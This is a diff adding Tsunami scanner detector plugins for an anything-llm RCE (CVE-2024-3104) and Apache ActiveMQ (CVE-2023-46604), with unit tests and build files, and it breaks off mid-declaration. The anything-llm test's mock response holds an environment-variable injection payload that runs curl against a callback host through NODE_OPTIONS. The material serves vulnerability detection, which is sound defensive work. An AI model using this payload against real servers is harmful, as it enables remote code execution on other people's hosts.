Check callback server is enabled + if (!payload.getPayloadAttributes().getUsesCallbackServer()) { + logger.atInfo().log( + "The Tsunami callback server is not setup for this environment, so we cannot confirm the" + + " RCE callback"); + return false; + } + logger.atInfo().log("Callback server is available!"); + if (sendFirstStepRequest(networkService, payload) + && sendSecondStepRequest(networkService) + && sendThirdStepRequest(networkService)) { + Uninterruptibles.sleepUninterruptibly(BATCH_REQUEST_WAIT_AFTER_TIMEOUT); + return payload.checkIfExecuted(); + } else { + return false; + } + } + + private Payload generateCallbackServerPayload() { + PayloadGeneratorConfig config = + PayloadGeneratorConfig.newBuilder() + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) + .setInterpretationEnvironment( + PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) + .setExecutionEnvironment( + PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) + .build(); + + return this.payloadGenerator.generate(config); + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2024_3104")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2024-3104 anything-llm RCE") + .setDescription( + "A remote code execution vulnerability exists in mintplex-labs/anything-llm due" + + " to improper handling of environment variables. Attackers can exploit" + + " this vulnerability by injecting arbitrary environment variables via the" + + " POST /api/system/update-env endpoint, which allows for the execution of" + + " arbitrary code on the host running anything-llm.Successful exploitation" + + " could lead to code execution on the host, enabling attackers to read" + + " and modify data accessible to the user running the service, potentially" + + " leading to a denial of service.") + .setRecommendation( + "You can upgrade your anything-llm instances to a version whose commit ID is" + + " bfedfebfab032e6f4d5a369c8a2f947c5d0c5286 or later.")) + .build(); + } +} diff --git a/community/detectors/anything_llm_cve_2024_3104/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetectorTest.java b/community/detectors/anything_llm_cve_2024_3104/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetectorTest.java new file mode 100644 index 000000000..1d340a553 --- /dev/null +++ b/community/detectors/anything_llm_cve_2024_3104/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetectorTest.java @@ -0,0 +1,179 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve20243104; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static java.nio.charset.StandardCharsets.UTF_8; + +import com.google.common.collect.ImmutableList; +import com.google.common.io.Resources; +import com.google.inject.Guice; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link Cve20243104VulnDetector}. */ +@RunWith(JUnit4.class) +public class Cve20243104VulnDetectorTest { + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2022-05-23T00:00:00.00Z")); + private MockWebServer mockWebServer; + private MockWebServer mockCallbackServer; + private NetworkService targetNetworkService; + private TargetInfo targetInfo; + private String mainPage; + + @Inject private Cve20243104VulnDetector detector; + + @Before + public void setUp() throws IOException { + mockWebServer = new MockWebServer(); + mockCallbackServer = new MockWebServer(); + mockCallbackServer.start(); + mainPage = Resources.toString(Resources.getResource(this.getClass(), "mainpage.html"), UTF_8); + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder().setCallbackServer(mockCallbackServer).build(), + new Cve20243104DetectorBootstrapModule()) + .injectMembers(this); + } + + @After + public void tearDown() throws IOException { + mockWebServer.shutdown(); + mockCallbackServer.shutdown(); + } + + @Test + public void detect_whenVulnerable_returnsVulnerability() throws IOException { + startMockWebServer(); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(targetNetworkService) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2024_3104")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2024-3104 anything-llm RCE") + .setRecommendation( + "You can upgrade your anything-llm instances to a version whose commit" + + " ID is bfedfebfab032e6f4d5a369c8a2f947c5d0c5286 or later.") + .setDescription( + "A remote code execution vulnerability exists in" + + " mintplex-labs/anything-llm due to improper handling of" + + " environment variables. Attackers can exploit this vulnerability" + + " by injecting arbitrary environment variables via the POST" + + " /api/system/update-env endpoint, which allows for the execution" + + " of arbitrary code on the host running anything-llm.Successful" + + " exploitation could lead to code execution on the host, enabling" + + " attackers to read and modify data accessible to the user" + + " running the service, potentially leading to a denial of" + + " service.")) + .build()); + assertThat(mockWebServer.getRequestCount()).isEqualTo(4); + assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); + } + + @Test + public void detect_ifNotVulnerable_doesNotReportVuln() throws IOException { + startMockWebServer(); + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + assertThat(mockWebServer.getRequestCount()).isEqualTo(4); + } + + private void startMockWebServer() throws IOException { + final Dispatcher dispatcher = + new Dispatcher() { + // Responses don't change in a fixed instance. + @Override + public MockResponse dispatch(RecordedRequest request) { + switch (request.getPath()) { + case "/": + return new MockResponse().setResponseCode(200).setBody(mainPage); + case "/api/env-dump": + return new MockResponse().setResponseCode(200).setBody("OK"); + case "/api/migrate": + return new MockResponse().setResponseCode(200).setBody("OK"); + case "/api/system/update-env": + return new MockResponse() + .setResponseCode(200) + .setBody( + "{\"newValues\":{\"LocalAiBasePath\":\"http://example.com/v1'\\n" + + "NODE_OPTIONS='--import=\\\"data:text/javascript,import exec from" + + " \\\\\\\"node:child_process\\\\\\\";exec.execSync(\\\\\\\"curl" + + " 21dca0b8fa6792683a37c5823b6074c774d169e453dbeacd73c0b612.localhost:35953\\\\\\\")\\\"\"},\"error\":false}"); + default: + return new MockResponse().setResponseCode(200).setBody(mainPage); + } + } + }; + mockWebServer.setDispatcher(dispatcher); + mockWebServer.start(); + mockWebServer.url("/"); + targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .addSupportedHttpMethods("POST") + .addSupportedHttpMethods("GET") + .build(); + targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + } +} diff --git a/community/detectors/anything_llm_cve_2024_3104/src/test/resources/com/google/tsunami/plugins/detectors/cves/cve20243104/mainpage.html b/community/detectors/anything_llm_cve_2024_3104/src/test/resources/com/google/tsunami/plugins/detectors/cves/cve20243104/mainpage.html new file mode 100644 index 000000000..c2163fd21 --- /dev/null +++ b/community/detectors/anything_llm_cve_2024_3104/src/test/resources/com/google/tsunami/plugins/detectors/cves/cve20243104/mainpage.html @@ -0,0 +1,39 @@ + + + + + + + + AnythingLLM | Your personal LLM trained on anything + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + \ No newline at end of file diff --git a/community/detectors/apache_activemq_cve_2023_46604/README.md b/community/detectors/apache_activemq_cve_2023_46604/README.md new file mode 100644 index 000000000..f08619a75 --- /dev/null +++ b/community/detectors/apache_activemq_cve_2023_46604/README.md @@ -0,0 +1,17 @@ +# Apache ActiveMQ RCE CVE-2023-46604 Detector + +This detector checks for Apache ActiveMQ RCE vulnerability (CVE-2023-46604). + +- https://activemq.apache.org/news/cve-2023-46604 +- https://github.com/advisories/GHSA-crg9-44h2-xw35 +- https://nvd.nist.gov/vuln/detail/CVE-2023-46604 + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/apache_activemq_cve_2023_46604/build.gradle b/community/detectors/apache_activemq_cve_2023_46604/build.gradle new file mode 100644 index 000000000..09e4bcce3 --- /dev/null +++ b/community/detectors/apache_activemq_cve_2023_46604/build.gradle @@ -0,0 +1,73 @@ +plugins { + id 'java-library' +} + +description = 'Tsunami Apache ActiveMQ RCE (CVE-2023-46604) VulnDetector plugin.' +group 'com.google.tsunami' +version '0.0.1-SNAPSHOT' + + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/javase/8/docs/api/' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = 'latest.release' + junitVersion = '4.13' + mockitoVersion = '2.28.2' + truthVersion = '1.0.1' + okhttpVersion = '3.12.0' + apacheActiveMqClientVersion = '5.18.4' + guiceVersion = '4.2.3' +} + +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + implementation "org.apache.activemq:activemq-client:${apacheActiveMqClientVersion}" + + testImplementation "junit:junit:${junitVersion}" + testImplementation "org.mockito:mockito-core:${mockitoVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" + testImplementation "com.google.inject:guice:${guiceVersion}" + testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}" +} diff --git a/community/detectors/apache_activemq_cve_2023_46604/gradle/wrapper/gradle-wrapper.jar b/community/detectors/apache_activemq_cve_2023_46604/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..2c3521197 Binary files /dev/null and b/community/detectors/apache_activemq_cve_2023_46604/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.properties b/community/detectors/apache_activemq_cve_2023_46604/gradle/wrapper/gradle-wrapper.properties similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.properties rename to community/detectors/apache_activemq_cve_2023_46604/gradle/wrapper/gradle-wrapper.properties diff --git a/community/detectors/apache_activemq_cve_2023_46604/gradlew b/community/detectors/apache_activemq_cve_2023_46604/gradlew new file mode 100755 index 000000000..f5feea6d6 --- /dev/null +++ b/community/detectors/apache_activemq_cve_2023_46604/gradlew @@ -0,0 +1,252 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s +' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/community/detectors/apache_activemq_cve_2023_46604/gradlew.bat b/community/detectors/apache_activemq_cve_2023_46604/gradlew.bat new file mode 100644 index 000000000..9d21a2183 --- /dev/null +++ b/community/detectors/apache_activemq_cve_2023_46604/gradlew.bat @@ -0,0 +1,94 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/community/detectors/apache_activemq_cve_2023_46604/settings.gradle b/community/detectors/apache_activemq_cve_2023_46604/settings.gradle new file mode 100644 index 000000000..ca0e41a24 --- /dev/null +++ b/community/detectors/apache_activemq_cve_2023_46604/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'apache_activemq_cve_2023_46604' diff --git a/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Annotations.java b/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Annotations.java new file mode 100644 index 000000000..aba28f36e --- /dev/null +++ b/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Annotations.java @@ -0,0 +1,35 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202346604; + +import static java.lang.annotation.ElementType.FIELD; +import static java.lang.annotation.ElementType.METHOD; +import static java.lang.annotation.ElementType.PARAMETER; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import javax.inject.Qualifier; + +/** Annotation for {@link Cve202346604Detector}. */ +final class Annotations { + private Annotations() {} + + @Qualifier + @Retention(RetentionPolicy.RUNTIME) + @Target({PARAMETER, METHOD, FIELD}) + @interface OobSleepDuration {} +} diff --git a/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604Detector.java b/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604Detector.java new file mode 100644 index 000000000..2511e2a7f --- /dev/null +++ b/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604Detector.java @@ -0,0 +1,278 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202346604; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.net.HostAndPort; +import com.google.common.util.concurrent.Uninterruptibles; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkEndpointUtils; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.ForServiceName; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.payload.Payload; +import com.google.tsunami.plugin.payload.PayloadGenerator; +import com.google.tsunami.plugins.detectors.cves.cve202346604.Annotations.OobSleepDuration; +import com.google.tsunami.proto.AdditionalDetail; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.PayloadGeneratorConfig; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TextData; +import com.google.tsunami.proto.TransportProtocol; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.net.Socket; +import java.time.Clock; +import java.time.Duration; +import java.time.Instant; +import java.util.Map; +import javax.inject.Inject; +import javax.inject.Qualifier; +import javax.net.SocketFactory; +import org.apache.activemq.util.MarshallingSupport; + +/** A {@link VulnDetector} that detects the CVE-2023-46604 vulnerability. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "Apache ActiveMQ RCE CVE-2023-46604 Detector", + version = "0.1", + description = Cve202346604Detector.VULN_DESCRIPTION_OF_OOB_VERIFY, + author = "hh-hunter", + bootstrapModule = Cve202346604DetectorBootstrapModule.class) +@ForServiceName({"apachemq"}) +public final class Cve202346604Detector implements VulnDetector { + + @VisibleForTesting + static final String VULN_DESCRIPTION_OF_OOB_VERIFY = + "Apache ActiveMQ is vulnerable to Remote Code Execution (RCE). This vulnerability could allow" + + " a remote attacker with network access to a broker to execute arbitrary shell commands" + + " by manipulating serialized class types within the OpenWire protocol, causing the" + + " broker to instantiate any class on the classpath. The presence of this vulnerability" + + " was confirmed through an out-of-band callback."; + + @VisibleForTesting + static final String VULN_DESCRIPTION_OF_VERSION = + "Apache ActiveMQ is susceptible to a Remote Code Execution (RCE) vulnerability. This flaw" + + " could enable a remote attacker with network access to a broker to execute arbitrary" + + " shell commands by manipulating serialized class types within the OpenWire protocol," + + " thereby causing the broker to instantiate any class on the classpath. Although the" + + " vulnerability was identified based on the server's version number, it has not been" + + " verified."; + + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + + private static final ImmutableList SECURE_VERSIONS = + ImmutableList.of("5.15.16", "5.16.7", "5.17.6", "5.18.3"); + + private final Clock utcClock; + private final SocketFactory socketFactory; + private final PayloadGenerator payloadGenerator; + private final int oobSleepDuration; + + private boolean useOobVerifyVulnerable; + + private String currentVersion; + + @Inject + Cve202346604Detector( + @UtcClock Clock utcClock, + @SocketFactoryInstance SocketFactory socketFactory, + PayloadGenerator payloadGenerator, + @OobSleepDuration int oobSleepDuration) { + this.utcClock = checkNotNull(utcClock); + this.socketFactory = checkNotNull(socketFactory); + this.payloadGenerator = checkNotNull(payloadGenerator); + this.oobSleepDuration = oobSleepDuration; + } + + public static boolean 